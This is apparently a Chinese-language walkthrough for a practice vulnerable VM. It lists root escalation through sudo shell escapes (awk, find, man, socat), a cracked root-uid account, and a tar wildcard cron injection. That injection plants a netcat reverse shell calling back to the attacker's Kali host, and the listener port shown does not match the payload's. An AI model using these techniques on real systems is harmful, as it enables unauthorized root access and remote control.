靶机网络配置
先用用户名bob 密码secret登录
这个时候进行ip查询,发现IP查询不到,执行下面的步骤
1、提权到root
sudo awk 'BEGIN {system("/bin/sh")}'
注意由于环境的配置 双引号是shift+2
2、提权完毕后,编辑文件
vim /etc/default/keyboard
将文件里面的XKBLAYOUT改为us
3、更改网络配置文件
vim /etc/netplan/50-cloud-init.yaml
将文件里的enp0s3改为ens33
4、然后setupcon
再 netplan apply
主机扫描IP
根据网卡地址用kali进行nmap扫描发现靶机IP
进行ssh远程连接,用户名bob密码secret
提权
提权方法1:读取/etc/passwd
发现insecurity用户的gid和uid都是0 且显示了密码的哈希,在线查询得到密码为P@ssw0rd!
ssh登录这个账号,发现登陆成功,并且拥有root权限
提权方式2:sudo提权
命令查看:sudo -l
ash
bash
csh
curl
dash
ed
env
expect
利用find查询命令提权
sudo find /etc/passwd -exec "/bin/bash" \;
ftp
less
利用man命令提权
sudo man man
输入 !/bin/bash
more
scp
awk提权
sudo awk ‘BEGIN {system(“/bin/bash”)}’
socat提权
sudo socat stdin exec:/bin/bash
ssh
zsh
vi
提权方法3:定时任务提权
先查看/etc/crontab
有哪些定时任务
从左到右以此为分,时,日,月,周
如此处最后一条代表每一分钟执行一次 /etc/cron.daily/backup
进行查看
看到使用了tar命令对/home下每个目录进行备份,且使用了通配符*我们可以考虑创建如下两个文件
echo > "--checkpoint-action=exec=sh shell.sh"
echo > "--checkpoint=1"
在kali上面有msf生成shell.sh的内容
mkfifo /tmp/gtpjm; nc 192.168.93.130 9000 0</tmp/gtpjm | /bin/sh >/tmp/gtpjm 2>&1; rm /tmp/gtpjm
接下来在靶机上运行:
#将payload写入shell.sh,并赋予执行权限
echo "mkfifo /tmp/vqfv; nc 192.168.93.130 9000 0</tmp/vqfv | /bin/sh >/tmp/vqfv 2>&1; rm /tmp/vqfv" > shell.sh && chmod +x shell.sh
#再创建两个文件:--checkpoint-action=exec=sh shell.sh 和 --checkpoint=1
echo > "--checkpoint-action=exec=sh shell.sh"
echo > "--checkpoint=1"
##--checkpoint-action选项:用于指定到达检查点时将要执行的程序,这将允许我们运行一个任意的命令。
##因此,选项--checkpoint=1 和 --checkpoint-action=exec=sh shell.sh作为命令行选项交给了tar程序
#nc -lvvp 9999开启本地监听,等待定时任务的反弹连接
在kali上面监听
提权方法4:suid提权
find / -perm -u=s -type f -exec ls -al {} \; 2>/dev/null
发现有taskset